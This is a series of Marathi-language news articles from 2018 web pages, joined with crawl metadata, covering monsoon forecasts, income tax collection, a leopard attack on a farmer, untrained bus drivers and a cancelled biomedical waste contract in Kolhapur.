हवामान विभागाने (आयएमडी) सुद्धा यंदा सरासरी 97 टक्के पाऊस पडेल असा अंदाज वर्तविल्याने बळीराजा सुखावणार आहे. आयएमडीने पावसाचा पहिला अंदाज वर्तवला असून, हवामान विभागाने आज (सोमवार) पत्रकार परिषद घेऊन पाऊसमान कसा राहिल याबाबतची माहिती दिली.\nगेल्या वर्षी आयएमडीने 96 मिलीमीटर पाऊस पडेल असा अंदाज वर्तवला होता. त्याप्रमाणे पाऊस 95 टक्के पडला होता. यंदाही सरासरी 97 टक्के एवढा पाऊस पडेल असा अंदाज वर्तविला आहे.\n देशभरात यंदा समाधानकारक मान्सून राहील, असा पहिला अंदाज स्कायमेटने वर्तवला आहे. सध्याची परिस्थिती, समुद्राचे तापमान, वाऱ्याची गती यावरुन हा अंदाज स्कायमेटने वर्तवला आहे. यंदा सरासरीच्या 100% पाऊस पडेल, असं स्कायमेटने म्हटले आहे. महाराष्ट्रात तर उत्तम पाऊसमान असेल, असेही स्कायमेटने म्हटले आहे.\nमुंबई, पुणे, नागपूर, नाशिक या शहरात पाऊसमान सामान्य राहील. मराठवाड्यातही यंदा चांगला पाऊस पडण्याचा अंदाज आहे. येत्या जून महिन्यात सर्वाधिक 111 टक्के पाऊस पडण्याचा अंदाज आहे, तर ऑगस्टमध्ये तुलनेने कमी म्हणजेच 96 टक्के पाऊस पडेल. दुष्काळाच्या परिस्थितीचा अंदाज शून्य टक्के म्हणजे काहीच नाही, असाही वर्तवण्यात आला आहे.\nकोणत्या महिन्यात किती पाऊस (स्कायमेटच्या अंदाजानुसार) - जूनमध्ये 111 टक्के पाऊस - जुलैमध्ये 97 टक्के पाऊस - ऑगस्ट 96 टक्के पाऊस - सप्टेंबर 101 टक्के पाऊस\nसरासरी पाऊस म्हणजे किती 890 मिमी पाऊस सरासरी मानला जातो, त्याच्या 19 टक्के कमीअधिक पाऊस पडला तरी तो सरासरी इतका मानला जातो.\nआयएमडीचा अंदाजः 2016 मध्ये सरासरीच्या 106 टक्के 2017 मध्ये 100 टक्के\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00172.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/desh/collection-income-tax-10-lakh-crores-138254", "date_download": "2018-09-25T18:01:45Z", "digest": "sha1:M6MW7A3V2TWF2NWNFXVNON53EOCCGSSB", "length": 11132, "nlines": 172, "source_domain": "www.esakal.com", "title": "Collection of income tax 10 lakh crores प्राप्तिकराचे संकलन 10 लाख कोटी | eSakal", "raw_content": "\nप्राप्तिकराचे संकलन 10 लाख कोटी\nशनिवार, 18 ऑगस्ट 2018\nगुवाहाटी : मागील आर्थिक वर्षात देशातील प्राप्तिकर संकलन 10.03 लाख कोटी रुपयांवर गेले, अशी माहिती केंद्रीय प्रत्यक्ष कर मंडळाने (सीबीडीटी) दिली आहे.\nगुवाहाटी : मागील आर्थिक वर्षात देशातील प्राप्तिकर संकलन 10.03 लाख कोटी रुपयांवर गेले, अशी माहिती केंद्रीय प्रत्यक्ष कर मंडळाने (सीबीडीटी) दिली आहे.\nप्राप्तिकर अधिकाऱ्यांची दोनदिवसीय परिषद येथे सुरू आहे. या परिषदेत बोलताना \"सीबीडीटी'च्या सदस्या शबरी भट्टसाली म्हणाल्या, \"आर्थिक वर्ष 2017-18 मध्ये 6.92 कोटी नागरिकांनी प्राप्तिकर विवरणपत्रे भरली. त्याआधीचे आर्थिक वर्ष 2016-17 मध्ये 5.61 कोटी प्राप्तिकर विवरणपत्रे भरण्यात आली होती. मागील आर्थिक वर्षात 1.31 कोटी विवरणपत्रांची वाढ झाली आहे. मागील आर्थिक वर्षात 1.06 कोटी विवरणपत्रे नव्या करदात्यांकडून भरण्यात आली आहेत. चालू वर्षात 1.52 कोटी नवे करदाते विवरणपत्रे भरण्याची शक्‍यता आहे.''\n\"प्राप्तिकर विभागाच्या ईशान्य विभागाचे करसंकलन मागील आर्थिक वर्षात 7 हजार 97 कोटी रुपये होते. त्याआधीच्या वर्षात हे संकलन 6 हजार 82 कोटी रुपये होते. यात 16.7 टक्के वाढ झाली. चालू आर्थिक वर्षात ईशान्य विभागातील करसंकलनाचे उद्दिष्ट 8 हजार 357 कोटी रुपये आहे. मागील वर्षीपेक्षा हे उद्दिष्ट 17.75 टक्के अधिक आहे,'' असे ईशान्य विभागाचे प्रधान मुख्य प्राप्तिकर आयुक्त एल. सी. जोशी रानी यांनी सांगितले.\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00172.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B6%E0%A4%B9%E0%A4%B0%E0%A4%B5%E0%A4%BE%E0%A4%B8%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%86%E0%A4%AF%E0%A5%81%E0%A4%B7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A4/", "date_download": "2018-09-25T17:59:48Z", "digest": "sha1:KCWAXFNQMLDJRXSYTY5BIMFYYOCOKXOT", "length": 5840, "nlines": 69, "source_domain": "pclive7.com", "title": "शहरवासियांच्या आयुष्यात आनंद, भरभराट आणि समृध्दी येवो; महापौरांचे घरच्या बाप्पाला साकडे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड शहरवासियांच्या आयुष्यात आनंद, भरभराट आणि समृध्दी येवो; महापौरांचे घरच्या बाप्पाला साकडे\nशहरवासियांच्या आयुष्यात आनंद, भरभराट आणि समृध्दी येवो; महापौरांचे घरच्या बाप्पाला साकडे\nपिंपरी (Pclive7.com):- पिंपरी चिंचवडचे महापौर राहुल जाधव यांच्या घरी देखील गणेशाची प्रतिष्ठापना करण्यात आली. महापौरांच्या घरी गेल्या अनेक वर्षांपासून गणपती बाप्पा विजारमान होतात. यंदाच्या वर्षी त्यांनी बाप्पासमोर आकर्षक फुलांची सजावट केली आहे. विद्युत रोषणाई करण्यात आली आहे. यंदाचा गणेशोत्सव शहरवासियांच्या आयुष्यात आनंद, भरभराट आणि समृद्धी घेऊन येवो, असे बाप्पाच्या चरणी साकडे घातले आहे.\nTags: bjpGanpatiHomeMayorPcmc newsRahul Jadhavघरचा गणपतीचिंचवडपिंपरीभाजपामहापालिकामहापौरराहुल जाधवसाकडे\nपुण्यात रोज एक कोटी वेळा हॉर्न वाजतो, पोलीसांचा ‘नो हॉर्न डे’\nखासदार श्रीरंग बारणे यांच्या घरी बाप्पा विराजमान\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00173.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%95%E0%A5%89%E0%A4%AE%E0%A5%8D%E0%A4%AA%E0%A5%8D%E0%A4%AF%E0%A5%81%E0%A4%9F%E0%A4%B0-%E0%A4%85%E0%A4%95%E0%A5%8C%E0%A4%82%E0%A4%9F%E0%A4%A8%E0%A5%8D%E0%A4%B8%E0%A5%80%E0%A4%9A%E0%A5%80-%E0%A4%B8/", "date_download": "2018-09-25T16:32:29Z", "digest": "sha1:UJZBWPB64THFXSSYJ6SCT5P6MYNPNXI7", "length": 12801, "nlines": 146, "source_domain": "www.dainikprabhat.com", "title": "कॉम्प्युटर अकौंटन्सीची स्मार्ट करिअरवाट | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nकॉम्प्युटर अकौंटन्सीची स्मार्ट करिअरवाट\nद इन्स्टिट्यूट ऑफ प्रोफेशनल अकाऊंटंट\nग्लोबल इन्स्ट्टिूट ऑफ स्मार्ट कॉम्प्युटर अकाऊंटंट\nआयसीए द इन्स्टिट्यूट ऑफ कॉम्प्युटर अकाऊंटंट\nसध्याच्या डिजिटल युगात फायनान्स सेक्‍टरमध्ये कॉम्प्युटर अकौंटन्सी हा एक चांगला पर्याय सिद्ध होऊ शकतो. भारतात बहुराष्ट्रीय कंपन्यांत अकाऊंटिंगमध्ये नोकरीचे प्रमाण सातत्याने वाढत चालले आहे. दुसरीकडे असे कोणतेच खाते राहिले नाही की तेथे आयटीचा संबंध येत नाही. या क्षेत्रात कोणत्याही शाखेचा पदवीधर हा केवळ एक ते दोन वर्षाच्या अनुभवाच्या जोरावर चांगल्या कंपन्यात मोठ्या पॅकेजवर काम करू शकतो.\nआजच्या काळात सर्वकाही डिजिटल होत आहे. फायनान्स आणि अकाऊंटिंग सेक्‍टरदेखील यापासून अपवाद राहिलेले नाही. कारण सरकारी आणि बिगसरकारी कार्यालयात खर्च-उत्पन्नाचा लेखाजोखा आता संगणकावरच मांडला जात आहे. आता हिशेब ठेवण्यासाठी मोठमोठे रजिस्टर ठेवण्याची आवश्‍यकता राहिलेली नाही. आजघडीला संगणकात हजारो फाईल्सची माहिती ठेवणे शक्‍य झाले आहे आणि सोपे झाले आहे. या कारणामुळेच कॉम्प्युटर अकौंटंटस्‌ना दिवसेंदिवस मागणी वाढत चालली आहे. हा एक असा अभ्यासक्रम आहे की, सरासरी अभ्यास करणारा युवक देखील सहजपणे पूर्ण करू शकतो आणि नोकरीची देखील हमी मिळू शकते. या अभ्यासक्रमात सॅप, एमसीए, आयएफआरएस तसेच प्राप्तीकर नियोजनाशी संबंधित विषय जोडले गेल्याने कॉम्प्युटर अकौंटन्सीला मागणी वाढत आहे.\nनोकरीची संधी : या क्षेत्रात युवकांचे करिअर दमदार होऊ शकते. आजकाल मॉल्स, शो रुम्स, बीपीओ, केपीओ किंवा कारखान्यात वा अन्य लहान मोठ्या कंपन्यात बॅंक ऑफिस अकाऊंटंट, अकाऊटंट असिस्टंट, फायनान्स मॅनेजरची प्रत्येक वेळी गरज असते. जॉब मार्केटमध्ये मंदी असतानाही अकाऊंटसला मात्र मागणी कायम राहते. या क्षेत्रात कामगिरीच्या जोरावर वेतनही वाढते. बहुराराष्ट्रीय कंपन्यांकडून अकाऊटिंगमध्ये नोकरीच्या संधी सातत्याने वाढत चालल्या आहेत.\nकामाचे स्वरूप : राष्ट्रीय किंवा बहुराष्ट्रीय कंपन्यांत कॉम्प्युटर अकौंटन्सी खूपच जबाबदारीचे काम समजले जाते. कुशल अकाऊटंट कंपनीचे खाते सांभाळण्याशिवाय बॅंकिंग व्यवहार, ऑफिसचे काम देखील पाहतात. ऑफिसमधील सर्वप्रकारचे व्यवहार पार पाडण्यासाठी अकाऊंटचे फायनलायजेशन तसेच कॅशियरिंगसारख्या दुसऱ्या कामांची जबाबदारी देखील यांच्याच खांद्यावर असते.\nवैयक्तिक कौशल्य : कॉम्प्युटर अकौंटन्सी हे मुख्य रूपाने संगणकाशी निगडित असलेले काम आहे. यासाठी आपल्याला संगणकावर काम करणे सोपे जाते. टेक्‍निकल कामाबात रुची बाळगणाऱ्या आणि हिशोब ठेवण्याचे काम करणे हे बोअरिंग वाटत नाही. म्हणूनच फायनान्स सेक्‍टर हे वैशिष्ट्‌यपूर्ण करिअर म्हणून एक चांगला पर्याय सिद्ध होऊ शकतो.\nअभ्यासक्रम आणि पात्रता : जर आपण कोणत्याही शाखेत बारावी उत्तीर्ण केलेली असेल तर आपण कॉम्प्युटर अकौंटन्सी अभ्यासक्रम पूर्ण करू शकता. कारण यासाठी आपल्याला कॉमर्स, फायनान्सचे बॅकग्राऊंड असणे गरजेचे नाही. अर्थात आजकाल कॉमर्स आणि फायनान्सचा अभ्यास करणाऱ्यांना कॉम्प्युटर अकाऊंटिंगचे ज्ञान मिळवणे खूपच गरजेचे झाले आहे. हा अभ्यासक्रम एक वर्षापासून ते दोन वर्षाच्या कालावधीसाठी उपलब्ध आहे. सर्वसाधारणपणे असे अभ्यासक्रम अद्याप खासगी शिक्षण संस्थांकडून शिकवले जातात. अभ्यासक्रमातंर्गत विद्यार्थ्याला डेटा ऍनालिसिस अँड मॅनेजमेंट, अकाऊंटस, बुक किपिंग, जीएसटी, एमएस ऑफिस, टॅली, सॅप, आयएफआरएस सारख्या अकाउंटिंगच्या काही नवीन सॉफ्टवेअरची देखील माहिती सहजपणे मिळू शकते.\nवेतन : कॉम्प्युटर अकाऊंटन्सीचा अभ्यासक्रम केल्यानंतर युवकांना प्रारंभीच्या काळात पंधरा ते वीस हजारांचे वेतन मिळू शकते. अशा युवकांना एक ते दीड वर्षांच्या अनुभवानंतर वीस ते पंचवीस हजार दरमहा वेतन सहजपणे मिळू शकते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article‘राझी’ लवकरच शंभर कोटींचा आकडा करणार पार\nNext articleअहमदनगर: चार नगरसेवकांसह राष्ट्रवादीचे 41 कार्यकर्ते पोलिसांना शरण\nचीप डिझायनिंगची वेगळी वाट…\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00173.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/Leopard-attack-The-help-of-the-deceased-farmer-will-be-helpful/", "date_download": "2018-09-25T16:52:46Z", "digest": "sha1:YPXTQMYQ5DQVNPL6IBUX6TTKXHKKC4SV", "length": 9338, "nlines": 54, "source_domain": "www.pudhari.news", "title": " मृत्यूमुखी पडलेल्या शेतकर्‍यास मदत मिळणार : वनविभागावर ठपका | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › मृत्यूमुखी पडलेल्या शेतकर्‍यास मदत मिळणार : वनविभागावर ठपका\nसोयगाव तालुक्यातील कवली, बहुलखेडा परिसरात दहशत माजविणार्‍या नरभक्षक बिबट्याचे प्रकरण विधिमंडळात पोहोचले. हिवाळी अधिवेशनात आ. अब्दुल सत्तार यांनी हा प्रश्‍न लावून धरला. वनमंत्री गिरीश महाजन यांनी या हल्ल्यात बळी पडलेल्या शेतकर्‍यास मदत केली जाईल असे सांगितले मुख्यमंत्र्यांनीही यास तत्वत: मान्यता दिली.\nपोलिस प्रशासन व वनविभागाच्या वादात कवली येथील शेतकर्‍याचा रामपूरवाडीच्या जंगलात फडशा पडल्याच्या संशयितघटनेबाबतचा पेच सुटण्याचा मार्ग आता मोकळा होणार आहे.\nरामपूरवाडीच्या जंगलात नरभक्षक बिबट्याच्या हल्ल्यात शेतकर्‍याचा मृत्यू झाल्याची घटना 14 डिसेंबररोजी घडली होती, तसेच घटनास्थळी मृत शेतकर्‍याचा उजवा पाय आढळून आला होता, मात्र वनिवभाग यास दुजोरा देण्यास तयार नव्हता. पोलिसांनी आकस्मिक मृत्यूची नोंद करून तपासचक्रे फिरवून घातपाताची कोणतीही शक्यता नसल्याचा अहवाल दिला होता. यामुळे वनविभागाच्या जबाबदारीवर प्रश्‍नचिन्ह निर्माण झाले होते.\nआ. सत्तार यांनी घटनास्थळी पाहणी करून मयत शेतकर्‍याच्या कुटुंबीयांची भेट घेतली होती. गुरुवारी (दि.21) वनविभागाचे उपवनसरंक्षक वडसकर व पोलिस निरीक्षक सुजित बडे या अधिकार्‍यांना हिवाळी अधिवेशनात बोलावून सत्यता काय याबाबत विचारणा करण्यात आली.\nउपवनसंरक्षक वडसकर यांनी बिबट्याच्या हल्ल्याचा संशय असल्याचा सुधारीत अहवाल पर्यावरणमंत्री रामदास कदम यांच्याकडे सादर केला, यांनतर सत्तार यांनी मदतीची मागणी सभागृहात लावून धरली होती. वनमंत्री गिरीश महाजन यांनी सभागृहात निवेदन करून चाळीसगाव तालुक्यातील घटनेप्रमाणे सोयगाव तालुक्यातील घटनेत मृत शेतकर्‍याच्या कुटुंबीयाला पात्र धरण्यात येईल असे सांगीतले.\nदरम्यान जि. प. सदस्य पुष्पा काळे यांनीही मृत शेतकर्‍याच्या कुटुंबीयाला भेट देऊन वनमंत्र्यांना घटनेचा अहवाल दिला होता. भाजपचे प्रदेशाध्यक्ष रावसाहेब दानवे यांच्या मध्यस्थीतून जि. प. सदस्य पुष्पा काळे यांनी या कुटुंबीयांना मदतीची मागणी लावून धरली होती. राष्ट्रवादी काँग्रेसचे रंगनाथ काळे यांनीही या प्रकरणी विरोधी पक्षनेते धनंजय मुंडे यांच्या कानावर हा प्रकार घातला होता. अखेरीस वनिवभागाने बिबट्याच्या हल्ल्याने शेतकर्‍याचा मृत्यू झाल्याचा अहवाल सभागृहात दिल्याने मयत शेतकर्‍याच्या कुटुंबीयास शासकीय मदत मिळण्याचा मार्ग खुला झाला आहे.\nबिबट्याच्या हल्ल्यात शेतकर्‍याचा मृत्यू झाला नसल्याचा प्राथमिक अहवाल देऊन सोयगावचे वनपरिक्षेत्रअधिकारी शिवाजी काळे यांनी हातवार केले होते. चुकीचा अहवाल सादर केल्याबद्दल त्यांना तातडीने निलंबित करण्याची मागणी सभागृहात लावून धरणार आहे - आ. अब्दुल सत्तार\nमहिलेच्या पोटातून काढला दोन किलोचा गोळा\nमेरिका राष्ट्राध्यक्षांच्या विरोधात सिल्लोड येथे जमीअत ए उलेमा हिंदचा मूक मोर्चा\n\"शिवसेना, तुम्ही नाराज की आनंदी आहात\nगतिमंद भावाची किडनी देण्याची याचिका फेटाळली\nदुसर्‍यांचे भूखंड परस्पर विक्री केल्याचे प्रकरण\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/Untrained-Shivshahi-Bus-drivers-issue/", "date_download": "2018-09-25T17:34:45Z", "digest": "sha1:C335TAUNIBEDPJAHFAB3ZFYNFFAPJ7PW", "length": 5805, "nlines": 37, "source_domain": "www.pudhari.news", "title": " अप्रशिक्षित चालकांच्या हातामध्ये ‘शिवशाही’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › अप्रशिक्षित चालकांच्या हातामध्ये ‘शिवशाही’\nअप्रशिक्षित चालकांच्या हातामध्ये ‘शिवशाही’\nनुकत्याच आलेल्या शिवशाही बस या संगणकीय सिस्टीमवर चालणार्‍या आहेत. या सिस्टीमची कुठलीच माहिती किंवा त्यांना बेसिक प्रशिक्षण न देताच या गाड्या साध्या बस चालवणार्‍या चालकांच्या हाती दिल्याने अपघातात वाढ होण्याची शक्यता आहे. शिवशाही बस येऊन एक महिना झाला, परंतु चालकांना प्रशिक्षण न दिल्याने अनेकांनी नाराजी व्यक्‍त केली आहे.\nशिवशाही बस एसी असून यातील अनेक गोष्टी सेंसरच्या आधारे काम करतात. हे सर्व ऑपरेशन डॅश बोर्डवर येते, परंतु याबाबत साध्या बस चालवणार्‍या चालकांना काही माहिती नाही, तरीही त्यांना तोंडी माहिती देत ही गाडी चालवण्यास भाग पाडण्यात येत आहे. अनेक चालकांना एसी\nसिस्टीम, सेंन्सर, रिटायर्डर सिस्टीम कशी व कोणत्या वेळी हाताळावी याचीच माहिती नाही. गाडी हातात दिल्यानंतर जाणकारांना विचारून तेच कशी तरी ही बस चालवण्याचा प्रयत्न करतात.\nएस. टी. महामंडळाच्या या तुघलकी निर्णयामुळे शिवशाही बसचे अपघात वाढण्याची शक्यता आहे. महिनाभरापूर्वी शहरात दोन शिवशाही बसचे आगमन होताच चालकांना प्रशिक्षणासाठी पाठवण्यात येणार असल्याचे आगार प्रमुख स्वप्निल धनाड यांनी सांगितले होते, परंतु महिना उलटला तरी एकाही चालकांना याबाबत प्रशिक्षण दिले नाही.\nआजघडीला मुख्य बसस्थानकात शिवशाही बसची संख्या 14 वर आली आहे. प्रत्येक बसमध्ये दोन चालक काम करतात. असे 28 चालक शिवशाही बस रोज विविध मार्गावर चालवत आहेत, परंतु यातील एकाही चालकांना प्रशिक्षण दिले नाही. केवळ याला त्याला विचारून जोखीम पत्करून शिवशाही बस चालवत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Nature-of-Need-is-canceled-due-to-serious-errors/", "date_download": "2018-09-25T16:56:19Z", "digest": "sha1:2ZCWT7OY2XZGZJW7DFYW2NQOBPNQINQD", "length": 7639, "nlines": 36, "source_domain": "www.pudhari.news", "title": " गंभीर त्रुटींमुळे ‘नेचर इन नीड’चा ठेका रद्द | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › गंभीर त्रुटींमुळे ‘नेचर इन नीड’चा ठेका रद्द\nगंभीर त्रुटींमुळे ‘नेचर इन नीड’चा ठेका रद्द\nकामकाजातील गंभीर त्रुटींमुळेच मे. नेचर इन नीड (सातारा) या संस्थेला दिलेला ठेका रद्द करण्यात आला आहे. तसेच संबंधित संस्थेने महापालिकेचे 60 हजार भुईभाडे थकविले असून, 53 लाख 67 हजार 600 रुपये रॉयल्टीही जमा केलेली नाही. त्यामुळे कायदेशीर प्रक्रिया पूर्ण करूनच जैववैद्यकीय कचर्‍याचा प्रकल्प महापालिका प्रशासनाने सील करून ताब्यात घेतला आहे. कोल्हापूर शहर व परिसरातून रोज सुमारे 800 किलो जैववैद्यकीय कचरा जमा होत असून, गुरुवारपासून महापालिकाच हा प्रकल्प चालवेल, अशी माहिती महापालिका प्रशासनाने पत्रकाद्वारे दिली आहे.\nपत्रकात म्हटले आहे की, महापालिकेच्या मालकीच्या लाईन बझार येथील ड्रेनेज प्लँटजवळील स्लॉटर हाऊससाठी आरक्षित असलेल्या जागेपैकी दहा हजार चौरस फूट खुली जागा नेचर इन नीड संस्थेला चौ.फुटास एक रुपया वार्षिक भाड्याने 10 वर्षे मुदतीने व मासिक रॉयल्टी 1 लाख 8 हजार भरण्याच्या अटीवर 11 सप्टेंबर 2012 पासून देण्यात आली होती. परंतु, संस्थेच्या कामकाजातील गंभीर त्रुटींमुळे आरोग्य विघातक परिस्थिती निर्माण होऊ शकते. त्या कारणास्तव संबंधित संस्थेकडून होत असलेला निष्काळजीपणा व कामातील गंभीर त्रुटींमुळे 21 सप्टेंबर 2013 ला संस्थेस दिलेला ठेका रद्द करण्यात आला होता. त्यानंतर हरित प्राधिकरण न्यायालय (पुणे) यांनी 5 मे 2014 रोजीच्या आदेशानुसार संस्थेकडून शहराअंतर्गत निर्माण होणारा जैव व वैद्यकीय कचरा विल्हेवाटीचे काम तात्पुरत्या स्वरुपात करण्यात येत होते.\nनेचर इन नीड ही संस्था संबंधित जागेचा वापर करत असूनही भुईभाडे थकविले आहे. तसेच रॉयल्टीची रक्‍कम भरलेली नाही. त्यामुळे महाराष्ट्र महानगरपालिका अधिनियम 81 ब अन्वये जागा ताब्यात घेण्याची कायदेशीर प्रक्रिया राबवून गुरुवारी प्रकल्प सील करून इस्टेट विभागाने 